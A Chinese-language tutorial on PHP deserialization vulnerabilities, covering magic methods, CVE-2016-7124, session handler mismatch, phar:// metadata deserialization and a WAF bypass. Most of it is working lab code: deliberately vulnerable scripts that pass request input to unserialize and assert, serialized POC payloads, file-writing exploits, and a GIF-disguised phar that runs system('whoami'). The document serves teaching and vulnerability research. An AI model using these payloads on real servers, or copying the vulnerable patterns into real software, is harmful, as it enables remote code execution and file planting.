PHP反序列化

本文主要介绍1)序列化与反序列化基础 2)反序列化漏洞与魔法函数 3)CVE-2016-7124 4)Session反序列化漏洞 5)phar伪协议触发php反序列化 6)补充:phar伪协议绕过WAF

(一) 序列化与反序列化基础

serialize()将一个对象转换成一个字符串
unserialize()将字符串还原为一个对象

serialize()

在php中创建了一个对象后,可通过serialize()把这个对象转变成一个字符串,这有利于存储或传递PHP的值,同时不丢失其类型和结构。

序列化示例代码
1
2
3
4
5
6
7
8
9
10
<?php
class lltest{
var $test = 'hello123';
}
$class1 = new lltest;
$class1_ser = serialize($class1);
print_r($class1_ser);
//var_dump($class1_ser);
//输出 O:6:"lltest":1:{s:4:"test";s:8:"hello123";}
?>
序列化数据格式说明
1
2
3
4
5
6
7
8
9
O:6:"lltest":1:{s:4:"test";s:8:"hello123";}
表示一个lltest对象,属性test(字符串)值为20
O表示存储的是class对象(object),如果serialize()传入的是一个数组,就会为字母a。
6表示对象的名称有6个字符。"lltest"为对象的名称。
1表示有一个值。
{s:4:"test";s:8:"hello123";},s表示字符串,4表示该字符串的长度,"test"为字符串的名称

O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}
表示一个User对象,有两个属性,属性age值为20,属性name值为john

unserialize()

unserialize()可以从序列化后的字符串中恢复为原来的对象(object)

反序列化示例代码
1
2
3
4
5
6
7
8
9
10
11
<?php
class lltest{
var $test = 'hello123';
}

$class2_ser = 'O:6:"lltest":1:{s:4:"test";s:8:"hello123";}';
$class2_unser = unserialize($class2_ser);
print_r($class2_unser);
//var_dump($class2_unser);
//输出:lltest Object ( [test] => hello123 )
?>

(二) 反序列化漏洞与魔法函数

漏洞原理

PHP调用unserialize()后会自动调用魔术方法__wakeup()和__destruct()。理想的情况就是当魔术方法__wakeup()或__destruct()中存在漏洞代码或者变量可控等,就可能导致远程命令执行(RCE)等漏洞。也可以间接调用或者利用普通成员方法-相同函数名称触发漏洞。

魔术方法

PHP 将所有以 __(两个下划线)开头的类方法保留为魔术方法。
http://php.net/manual/zh/language.oop5.magic.php

1
2
3
4
5
6
7
__wakeup():当调用unserialize()函数时,unserialize() 会检查是否存在一个\__wakeup() 方法。如果存在,则会先调用\__wakeup 方法,预先准备对象需要的资源。
__destruct():析构函数,当对象被销毁时会自动调用。
__construct():构造函数,当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。
__sleep():serialize() 函数会检查类中是否存在 __sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。
__invoke():当把一个类当作函数使用时自动调用
__tostring():当把一个类当作字符串使用时自动调用
__call():当要调用的方法不存在或权限不足时自动调用

反序列化时魔术方法调用示例

PHP调用unserialize()后会自动调用魔术方法__wakeup() 和__destruct()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
class lltest{
var $test = 'hello123';

function __wakeup(){ //unserialize()时会自动调用
echo "__wakeup";
echo "</br>";
}
function __construct(){ //当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。
echo "__construct";
echo "</br>";
}
function __destruct(){ //当对象被销毁时会自动调用
echo "__destruct";
echo "</br>";
}
}

$class2_ser = 'O:6:"lltest":1:{s:4:"test";s:8:"hello123";}';
$class2_unser = unserialize($class2_ser);
print_r($class2_unser);
echo "</br>";
//输出:
//__wakeup
//lltest Object ( [test] => hello123 )
//__destruct
?>

执行代码会输出如下,说明调用unserialize()后会自动调用魔术方法__wakeup() 和__destruct()

1
2
3
__wakeup
lltest Object ( [test] => hello123 )
__destruct

__wakeup() 或__destruct()

PHP调用unserialize()后会自动调用魔术方法__wakeup()和__destruct()

__wakeup()漏洞代码示例

PHP调用unserialize()后会自动调用魔术方法__wakeup(),执行__wakeup()中的assert,相当于执行assert(“phpinfo();”);

测试代码
1
2
3
4
5
6
7
8
9
10
11
12
<?php
class lltest{
var $code;
function __wakeup()//function __destruct()
{
assert($this->code);
}
}
$poc = $_GET['www'];
unserialize($poc);
//xxx.php?www=O:6:"lltest":1:{s:4:"code";s:10:"phpinfo();";}
//相当于执行assert("phpinfo();");
生成POC

生成序列化POC,要求对象名/变量名(lltest/code) 与要触发代码的一样

1
2
3
4
5
6
7
8
9
10
<?php
class lltest{
var $code="phpinfo();";
}
$myclass = new lltest;
$myclass_ser_poc = serialize($myclass);
echo $myclass_ser_poc;
//输出 O:6:"lltest":1:{s:4:"code";s:10:"phpinfo();";}
//生成序列化POC
// 生成POC 要求对象名/变量名(lltest/code) 与要触发代码的一样

间接调用

如果unserialize()中并不会自动调用的魔术函数,如__construct(),是不是就没有利用价值呢?不是。有时反序列化一个对象时,由它调用的__wakeup()中又去调用了其他的对象,由此可能层层间接调用触发漏洞。
比如__construct()方法中存在漏洞代码,正好在__wakeup()中new创建对象,所以unserialize()时 间接触发漏洞代码

测试代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
class evil{

function __construct($test){
var_dump($test);
assert($test);
}
}
class lltest{
var $test;
function __wakeup(){
$obj = new evil($this->test); //new时调用__construct
}
}
$myclass = $_GET['www'];
$myclass_unser = unserialize($myclass);
//print_r($myclass_unser);
var_dump($myclass_unser);

//?www=O:6:"lltest":1:{s:4:"test";s:10:"phpinfo();";} 相当于执行assert("phpinfo();");
?>
生成POC
1
2
3
4
5
6
7
8
9
10
11
12
<?php
//生成反序列化POC
class lltest{
var $test="phpinfo();";
}

$class3 = new lltest;
$class3_ser = serialize($class3);
echo $class3_ser;

//输出 O:6:"lltest":1:{s:4:"test";s:10:"phpinfo();";}
?>

利用普通成员方法-相同函数名称

当漏洞/危险代码存在类的普通方法中,就不能通过“自动调用”来触发漏洞。这时的利用方法:寻找相同的函数名,把敏感函数和类联系在一起

测试代码
1
2
直接访问u2.php  执行输出hello  执行class normal 中的 function action() 
访问 u2.php?www=O:6:"lltest":1:{s:5:"test1";O:4:"evil":1:{s:5:"test2";s:10:"phpinfo();";}} 相当于执行assert("phpinfo();"); 执行class evil中的 function action()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
class lltest {
var $test1;
function __construct() {
$this->test1 = new normal();
}
function __destruct() {
$this->test1->action();
}
}
class normal {
function action() {
echo "hello";
}
}
class evil {
var $test2;
function action() {
assert($this->test2);
}
}

$myclass = new lltest();
unserialize(@$_GET['www']);
//直接访问u2.php 输出hello
//访问 u2.php?www=O:6:"lltest":1:{s:5:"test1";O:4:"evil":1:{s:5:"test2";s:10:"phpinfo();";}} 相当于执行assert("phpinfo();");
?>
生成POC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
//生成反序列化POC
class lltest {
var $test1;
function __construct() {
$this->test1 = new evil();
}
}
class evil {
var $test2 = "phpinfo();";
}

$myclass_poc = new lltest();
echo serialize($myclass_poc);
//输出 O:6:"lltest":1:{s:5:"test1";O:4:"evil":1:{s:5:"test2";s:10:"phpinfo();";}}
?>

(三) CVE-2016-7124

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-7124
当序列化字符串中表示对象个数的值大于真实的属性个数时会跳过__wakeup()的执行。
存在该漏洞的PHP版本为PHP5小于5.6.25或PHP7小于7.0.10。
典型漏洞:SugarCRM v6.5.23 PHP反序列化对象注入

漏洞测试

测试版本:PHP Version 5.5.38

1
2
3
4
1)如果请求CVE-2016-7124.php?www=O:6:"lltest":1:{s:4:"test";s:16:"<?php phpinfo();";}  执行\__wakeup() 方法清除了对象属性,把$test值清空,在test.php写入内容为空 

2)如果请求CVE-2016-7124.php?www=O:6:"lltest":99:{s:4:"test";s:16:"<?php phpinfo();";}
对象个数设为99 跳过\__wakeup() 在test.php写入<?php phpinfo();

CVE-2016-7124.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
//CVE-2016-7124
class lltest{
var $test;
function __destruct(){
var_dump($this);
$fp = fopen("D:\\phpStudy3\\WWW\\test\\test.php","w");
fputs($fp,$this->test);
fclose($fp);
}
function __wakeup() //在__wakeup中清除了对象属性 把$test值清空
{
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
}
}
$poc = $_GET['www'];
$poc_un = @unserialize($poc);
//***.php?www=O:6:"lltest":99:{s:4:"test";s:16:"<?php phpinfo();";}
//CVE-2016-7124 对象个数设为99 跳过__wakeup() 在test.php写入<?php phpinfo();

//***.php?www=O:6:"lltest":1:{s:4:"test";s:16:"<?php phpinfo();";} 执行__wakeup() 在test.php写入内容为空
?>

(四) Session反序列化漏洞

漏洞原理

http://php.net/manual/zh/function.session-start.php
http://php.net/manual/zh/function.session-set-save-handler.php
http://php.net/manual/zh/session.configuration.php#ini.session.serialize-handler
1)Session反序列化漏洞,主要是由于: 当PHP在反序列化取出已存储的$_SESSION数据时所使用的处理器与之前序列化存储$_SESSION所使用的处理器不一样,会导致数据无法正确反序列化,可能导致存在漏洞。(存$_SESSION-序列化,取$_SESSION-反序列化)
2)当会话自动开始或者通过 session_start() 手动开始的时候, PHP 内部会调用会话管理器的 open 和 read 回调函数。 通过 read 回调函数返回的现有会话数据(使用特殊的序列化格式存储), PHP 会自动反序列化数据并且填充 $_SESSION 超级全局变量。

3)PHP 内置了多种处理器用于存取 $_SESSION 数据时会对数据进行序列化和反序列化(存$_SESSION-序列化,取$_SESSION-反序列化),常用的有以下三种,对应三种不同的处理格式:【session.serialize_handler 配置选项】

1
2
3
4
处理器	  对应的存储格式
php (默认):键名 + 竖线 + 经过 serialize() 函数序列化处理的值。如:lltest|s:6:"qwe123";
php_serialize (php>=5.5.4):经过 serialize() 函数反序列处理的数组。如:a:1:{s:6:"lltest";s:6:"qwe123";}
php_binary:键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数序列化处理的值。如:lltests:6:"qwe123";

4)通过竖线|构造POC。
在存储$_SESSION数据时如果用的处理器是php_serialize ,通过竖线|构造POC,写入含有恶意代码的序列化数据。
在读取$_SESSION数据时如果用的处理器是 php 的话,会将竖线|后面的数据进行反序列化,从而触发漏洞。

漏洞测试

1
2
3
4
5
6
7
8
1)	先请求sess1.php?www=|O:6:"lltest":1:{s:3:"www";s:16:"<?php phpinfo();";}
会在D:\phpStudy3\tmp\tmp\sess_jo0lfdd66sti0i1pfdfosgtec2文件中存储内容,如下
a:1:{s:6:"lltest";s:52:"|O:6:"lltest":1:{s:3:"www";s:16:"<?php phpinfo();";}";}
存储$_SESSION数据时如果用的处理器是php_serialize

2)然后直接访问sess2.php 就会在D:\\phpStudy3\\WWW\\test\\目录下生成lltest3.php文件,内容为<?php phpinfo();
在读取$_SESSION数据时用的处理器设置为 php,会将竖线|后面的数据进行反序列化,触发漏洞
最终生成lltest3.php文件,内容为<?php phpinfo();

代码示例1 sess1.php

1
2
3
4
5
6
7
8
9
10
sess1.php
<?php
ini_set('session.serialize_handler','php_serialize');
session_start();

$_SESSION['lltest'] = $_GET['www'];
print_r($_SESSION);

//提交请求xxx.php?www=|O:6:"lltest":1:{s:3:"www";s:16:"<?php phpinfo();";} 通过竖线|构造POC
?>

代码示例2 sess2.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
sess2.php
<?php
ini_set('session.serialize_handler','php');
session_start();

class lltest{
var $www;

function __destruct(){
var_dump($_SESSION); //输出:array(1) { ["a:1:{s:6:"lltest";s:52:""]=> object(lltest)#1 (1) { ["www"]=> string(16) "
//可看出:将之前存储的$_SESSION进行反序列化,还原为对象object lltest
$fp = fopen("D:\\phpStudy3\\WWW\\test\\lltest3.php","w");
fputs($fp,$this->www);
fclose($fp);
}
}
//最终生成lltest3.php文件,内容为<?php phpinfo();
?>

(五) phar伪协议触发php反序列化

漏洞原理

phar文件本质上是一种压缩文件,能够以序列化的形式存储用户自定义的meta-data,php大部分的文件系统函数在通过phar://伪协议解析phar文件时,会将meta-data进行反序列化,从而导致触发漏洞。
受影响的函数如下:
fileatime、filectime、file_exists、file_get_contents、file_put_contents、file、filegroup、fopen、fileinode、filemtime、fileowner、fileperms、is_dir、is_executable、is_file、is_link、is_readable、is_writable、is_writeable、parse_ini_file、copy、unlink、stat、readfile、md5_file、filesize

phar文件结构

http://php.net/manual/en/phar.fileformat.phar.php
一个phar文件有四部分构成:
1)a stub
可以理解为一个标志,格式为xxx<?php xxx; __HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。
2)a manifest describing the contents
phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。

3) the file contents
被压缩文件的内容。
4) [optional] a signature for verifying Phar integrity (phar file format only)
签名,放在文件末尾

漏洞测试

说明:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件

1)先访问phar1.php 文件,生成lltest1.phar文件,并以反序列化形式写入payload <?php phpinfo();

2)请求phar2.php?www=phar://./lltest1.phar/test.txt
最终生成lltest6.php文件,内容为<?php phpinfo();

在1)生成lltest1.phar之后,也可以将lltest1.phar文件改成任意后缀如jpg,然后请求phar2.php?www=phar://./lltest1.jpg/test.txt

phar://路径/lltest1.phar/test.txt

代码示例1 phar1.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class lltest{
var $payload = "<?php phpinfo();";
//var $payload = "phpinfo();";
}

@unlink("lltest1.phar");
$test = new lltest();
$phar = new Phar("lltest1.phar"); //后缀必须为hpar,生成后可改成任意后缀如jpg

$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); // //设置stub 并伪造gif文件头
$phar->setMetadata($test); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt","test"); //添加要压缩的文件

$phar->stopBuffering();
?>

代码示例2 phar2.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
$www = $_GET['www'];
class lltest{
var $payload;

function __destruct(){
var_dump($this->payload); //当payload中含有<时无法 无法输出
//echo "phar test";
$fp = fopen("D:\\phpStudy3\\WWW\\test\\lltest6.php","w"); //自定义写入路径
fputs($fp,$this->payload);
fclose($fp);
}
}

file_get_contents($www);
//file_get_contents("phar://./lltest1.phar/test.txt");

//phar://路径/lltest1.phar/test.txt
//请求: ***.php?www=phar://./lltest1.phar/test.txt
//最终生成lltest6.php文件,内容为<?php phpinfo();
?>

(六) 补充:phar伪协议绕过WAF

使用phar://伪协议可Bypass一些waf,大多数情况下配合文件包含一起使用。

1)必须先把pharbypass1.php压缩。
或者压缩完之后,修改为其他任意后缀 如jpg 来绕过上传限制等
然后修改pharbypass2.php为include(‘phar://./pharbypass1.jpg/pharbypass1.php’)

2)请求pharbypass2.php,会include文件pharbypass1.zip中的pharbypass1.php 执行system(‘whoami’)

pharbypass1.php

1
2
3
<?php system('whoami');
//必须先压缩该文件。压缩完之后,可以再修改为其他任意后缀 如jpg 来绕过上传限制等
?>

pharbypass2.php

1
2
3
4
<?php 
include('phar://./pharbypass1.zip/pharbypass1.php');
//请求pharbypass2.php,会include文件pharbypass1.zip中的pharbypass1.php 执行system('whoami')
?>

参考

https://chybeta.github.io/2017/06/17/%E6%B5%85%E8%B0%88php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/ 浅谈php反序列化漏洞
https://www.anquanke.com/post/id/159206 四个实例递进php反序列化漏洞理解
https://paper.seebug.org/39/ SugarCRM v6.5.23 PHP反序列化对象注入漏洞分析
http://www.vuln.cn/6413 PHP Session 序列化及反序列化处理器设置使用不当带来的安全隐患
https://paper.seebug.org/680/ 利用 phar 拓展 php 反序列化漏洞攻击面
https://xz.aliyun.com/t/3692 Phar的一些利用姿势